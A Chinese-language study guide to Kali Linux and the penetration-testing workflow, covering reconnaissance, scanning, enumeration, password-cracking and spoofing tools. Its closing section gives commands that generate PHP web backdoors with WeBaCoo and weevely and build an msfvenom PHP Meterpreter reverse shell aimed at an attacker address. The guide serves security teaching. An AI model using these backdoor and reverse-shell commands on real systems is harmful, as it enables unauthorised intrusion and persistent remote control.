Kali Linux入門與介紹
一、kali的主要特色
kali 官網 :https://www.kali.org/
基於Debian的Linux發行版
集成300多個滲透測試程序
支持絕大多數無線網卡
二、網絡服務配置
1. 設置固定ip:
虛擬機的網絡設置文件
/etc/network/interfaces
2. 臨時ip配置命令
ifconfig eth0 192.168.43.100 netmask 255.255.255.0 //ip
route add default gw 192.168.43.1 //網關路由
systemctl restart networking.service //重啓網絡恢復
3. dmesg命令的作用:
查看無線網卡硬件信息,查看內核環形緩衝區信息
4. 開啓和關閉網絡的命令
這裏使用systemctl 或者 service 命令均可,語法基本相同,老版本的kali可能只支持service命令
常用的語法有:
start //開啓
stop //關閉
restart //重啓
5. kali中常用服務
http(apache)
service apache2 start //啓動
service apache2 stop //關閉
service apache2 restart //重啓
update-rc.d apache2 defaults //自啓
mysql
service mysql start //啓動
service mysql stop //關閉
service mysql restart //重啓
update-rc.d mysql defaults //自啓
mysql -u root -p //登錄
ssh
service ssh start //啓動
service ssh stop //關閉
service ssh restart //重啓
update-rc.d ssh defaults //自啓
三、系統更新
命令
apt-get update
apt-get upgrate
apt-get dist-upgrade
PS:最新版的kali也就是2020年版兼容性並不好,而且移除了許多我常用的工具,個人不推薦更新,有需求除外。
aptcache search <包名> //在軟件倉庫查找某個軟件包的名稱
apt-get install <包名> //指定安裝某個軟件
滲透測試概述
一、五個測試框架的方法論
開源安全測試方法論
信息系統安全評估框架
開放式web應用安全項目
web應用安全聯合威脅人類
滲透測試執行標準
二、通用滲透測試框架
範圍界定
信息收集
目標識別
服務枚舉
漏洞映射
社會工程學
漏洞利用
提升權限
訪問維護
文檔報告
滲透測試實施步驟
一、信息蒐集
whois命令的定義、使用和用法
whois example.com
該命令會返回example.com域名註冊人信息和聯繫方式等域名的詳細信息。
官網:https://who.is/
DNS 記錄分析
1. host
host www.example.com
無參數時只返回ip地址(ipv4)
host -a www.example.com
加入參數-a ,返回所有dns記錄
2. dig
dig example.com
無參數時只返回A記錄地址(IPV4)
dig example.com any
加入參數any,返回所有dns記錄
3. dnsenum
dnsenum example.com
默認情況下,會返回主機地址、名稱解析服務器和郵件服務器的IP地址信息
如果你有字典,可以用此工具爆破子域名
dnsenum -f dns.txt example.com
4. dmitry
dmitry -iwnse targethost
進行whois查詢
在Netcraft.com的網站上挖掘主機信息
搜索所有可能的子域
搜索所有可能的電子郵件地址
dmitry targethost -f -b
做簡單的端口掃描(很慢,而且不怎麼好用,不推薦)
路由信息
1. tcptraceroute
tcptraceroute example.com
在已知目標web服務器開放了使用TCP協議的80端口。使用上述命令可以獲取從本機到目標主機完整的路由信息。
ps:容易被防火牆攔截
2. tctrace
tctrace -i eth0 -d example.com
指定網卡eth0獲取本機和example.com之間的路由信息
目標識別
博客分欄 滲透測試常用工具-目標識別
1. ping
ping -c 10 example.com
ping -c 10 192.168.123.256
-c參數指定發送數據包的數量(執行次數)
-i 參數指定源地址或網絡接口(網卡)
-s 指定數據包大小(默認大小64字節)
2. arping
arping 192.168.56.102 -c 1
查看局域網內主機是否在線,-i參數指定網卡,-c參數指定次數
3. fping
fping 192.168.1.1 192.168.1.100 192.168.1.107
檢測這三臺主機是否在線
fping -g 192.168.56.0/24
檢測整個網段
fping -r 1 -g 192.168.1.1 192.168.1.10
參數-r指定重試次數,默認爲3
fping -s www.baidu.com www.cqcet.edu.cn www.csdn.net
-s 參數查看多個目標的統計結果
4. hping3
主要用途
測試防火牆規則
測試入侵檢測系統/IDS
測試TCP/IP模式的安全漏洞
hping3 -0 192.168.56.101 發送原始IP包(--raw-ip)
hping3 -1 192.168.56.101 發送ICMP包(--icmp)
hping3 -2 192.168.56.101 發送UDP包(--udp)
hping3 -8 192.168.56.101 進入掃描模式(--scan)
hping3 -9 192.168.56.101 進入監聽模式(--listen)
5. nping
nping --tcp-connect -c 1 -p 22 192.168.56.102 基礎的tcp-connect功能
nping --tcp -c 1 -p 22 192.168.6.102 TCP模式
nping --udp -c 1 -p 22 192.168.6.102 UDP模式
nping --icmp -c 1 -p 22 192.168.6.102 ICMP模式(默認模式)
nping --arp -c 1 -p 22 192.168.6.102 ARP/RARP模式
nping --tr -c 1 -p 22 192.168.6.102 traceroute模式
6. nbtscan
nbtscan 192.168.1.1-254
搜索局域網內各個主機的NetBIOS名稱
nbtscan -hv 192.168.1.1-254
-hv參數查看運行了那些服務
7. uniscan
操作系統識別
1. p0f
可以識別以下幾種主機
連接到您主機的機器(SYN模式,即默認模式)
主機可以訪問的機器(SYN+ACK模式)
主機不能訪問的機器(RST+模式)
可以監控到其網絡通信的機器
p0f -f /etc/p0f/p0f.fp -o p0f.log
開放80端口讓靶機訪問
2. nmap
nmap -O 192.168.43.89 //操作系統識別
識別率並不是很高
服務枚舉
滲透測試常用工具-amap服務枚舉
網絡掃描
1. nmap
主要功能
主機探測
端口掃描
服務/版本檢測
操作系統檢測
網絡路由跟蹤
Nmap腳本引擎
nmap -sT 192.168.43.89 //TCP連接掃描
nmap -sS 192.168.43.89 //SYN掃描
nmap -sN 192.168.43.89 //TCP NULL掃描
nmap -sF 192.168.43.89 //TCP FIN掃描
nmap -sX 192.168.43.89 //TCP XMAS掃描
nmap -sM 192.168.43.89 //TCP Maimon掃描
nmap -sA 192.168.43.89 //TCP ACK掃描
nmap -sW 192.168.43.89 //TCP 窗口掃描
nmap -sI 192.168.43.89 //TCP Idel掃描
掃描選項
-p 端口範圍 :只掃描指定的端口
-F (快速掃描):僅掃描100個常用端口
-r (順序掃描):按照從小到大的順序掃描端口
--top-ports <1 or greater> 掃描nmap-services裏排名前N的端口
目標端口選項
交互(屏幕)輸出
正常輸出(-oN)不顯示runtime信息和警告信息
XML文件(-oX)生成的XML格式文件可以轉換成html文件,也可以被圖形用戶界面解析,便於導入數據庫
生成便於Grep使用的文件(-oG)
輸出選項
-T 指定時間排程控制的模式
時間排程控制選項
nmap -sV 192.168.43.89 -p 22 //服務版本識別
nmap -O 192.168.43.89 //操作系統檢測
nmap -Pn 192.168.43.89 //禁用主機檢測
nmap -A 192.168.43.89 //綜合掃描
常用選項
-sC 或 --script = default 啓動默認類NES腳本
--script <filename>|<category>|<directories> 根據指定的文件名、類別名、目錄名,執行相應的腳本
--script-args<args> 給腳本指定參數
腳本引擎
-f 使用小數據包
--mtu 調整數據包的大小
-D 指定假IP
--source-port<portnumber>或-g 模擬源端口
--data-length 改變發送的數據包的默認長度
--max-parallelism 限制nmap併發掃描的最大連接數
--scan-delay<time> 控制發送探測數據的時間間隔
edit
2. Unicornscan
-m U 檢測UDP協議
-m T 檢測TCP協議
-Iv 查看詳細輸出
-r 調整發包速率
unicornscan -m U -Iv 192.168.43.89:1-65535 -r 10000
unicornscan -m T -Iv 192.168.43.89:1-65535 -r 10000
SMB枚舉
1. nbtscan
nbtscan 192.168.56.1-254
搜索192.168.56.0內各個主機的NetBIOS名稱
nbtscan -hv 192.168.56.102
查看192.168.56.102這臺主機的網絡服務
SNMP枚舉
滲透測試常用工具-ADMsnmp進行snmp分析
1. onesixtyone
onesixtyone 192.168.56.102
搜索主機支持的SNMP字符串
onesixtyone -d 192.168.56.102
進行更加細緻的掃描
2. snmpcheck
snmpcheck -t 192.168.56.102
蒐集SNMP設備的有關信息
VPN 枚舉
1. ike-scan
ike-scan -M -A -Pike-hashkey 192.168.0.10
探測、識別、測試一臺IPSec VPN服務器
-M 將payload的解碼信息分爲多行顯示,以便於閱讀
-A 使用IKE的aggressive mode
-P 將aggressive mode的與共享密鑰哈希值保存爲文件
漏洞映射
一、漏洞類型
本地漏洞
遠程漏洞
二、漏洞掃描器
OpenVAS
Cisco分析工具
Cisco Auditing Tool(cat)
運行:
cd /usr/share/
CAT --help
命令:
-h 指定主機名(在掃描單個主機時使用該選項)
-w 指定字典名稱(以猜測團體字符串)
-a 指定密碼列表(以窮舉密碼)
-i 及[ioshist](檢查該IOS在歷史上出現過的bug)
Cisco Global Exploiter(cge)
運行:
cd /usr/bin/
cge.pl
命令
cge.pl 10.200.213.25 3
第三類測試
FUZZ(模糊)分析工具
BED(待續)
JBroFuzz(待續)
三、SMB分析工具
ImpacketSamrdump
(待續)
四、SNMP分析工具
SNMP Walk
(待續)
五、Web程序分析工具
數據庫評估工具
DBPwAudit(待續)
sqlmap
SQL Ninja(待續)
Web應用評估工具
Burpsuite (待續)
Paros Proxy(待續)
W3af(待續)
WafW00f(待續)
Webscarab(待續)
漏洞利用
MSFConsole
MSFConsole_常用模塊
MSFConsole_後滲透模塊
提權
一、分類
縱向提權
橫向提權
二、利用本地漏洞
三、密碼攻擊
基於所知
基於所有
基於特徵
離線攻擊
在線攻擊
hash-idntifire 判斷hash算法 — 只有知道被測系統採用的hash算法,才能使用密碼破解
hashcat 多線程密碼破解,完全利用CPU
RainbowCrack 利用彩虹表破解,空間換取時間
samdump2 破解windows系統賬號的密碼
John 破解hash,破解DES crypt類型優異
Johnny John的圖形化版
Crunch 創建密碼字典,可用於暴力破解
Ophcrack 基於彩虹表的 LM/NTML類型
在線破解工具
CeWL 爬蟲模式在指定URL上收集單詞的工具,把收集到的單詞納入字典,提高爆破命中率
Hydra 在線破解密碼
Medusa 在線破解密碼
四、網絡欺騙工具
網絡嗅探與網絡欺騙
DNSchef
替DNS服務器對被測主機進行DNS回覆,把域名解析爲攻擊者管控的IP,從而讓攻擊者的主機扮演真正的服務器的角色
arpspoof
在交換網絡中輔助進行網絡監聽的實用工具
Ettercap
在LAN中進行中間人攻擊的工具
五、網絡嗅探器
Dsniff
tcpdump
Wireshark
訪問維護
一、操作系統後門
Cymothoa
Intersect
Meterpreter
二、隧道工具
dns2tcp
iodine
ncat
proxychains
ptunnel
socat
sslh
stunnel4
三、創建web後門
WeBaCoo
命令:
-g 製作後門代碼
-f 後門所需的php功能:system(默認)/shell_exec/exec/passthru/popen
-o 輸出 指定生成的後門程序的文件名
舉例:
webacoo -g -o test.php 使用默認配置生成php後門程序
webacoo -t -u http://192.168.43.89/test.php
連接到後門程序
weevely
生成混淆PHP backdoor,並將後門保存爲display.php
weevely generate password display.php
weevely http://192.168.43.89/display.php password
訪問被測主機的webshell
PHP Meterpreter
-p 指定payload爲php/meterpreter/reverse_tcp
-f 設置輸出格式
lhost 爲攻擊機地址
lport 爲攻擊機端口
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.180 LPORT=1234 -f raw > a.php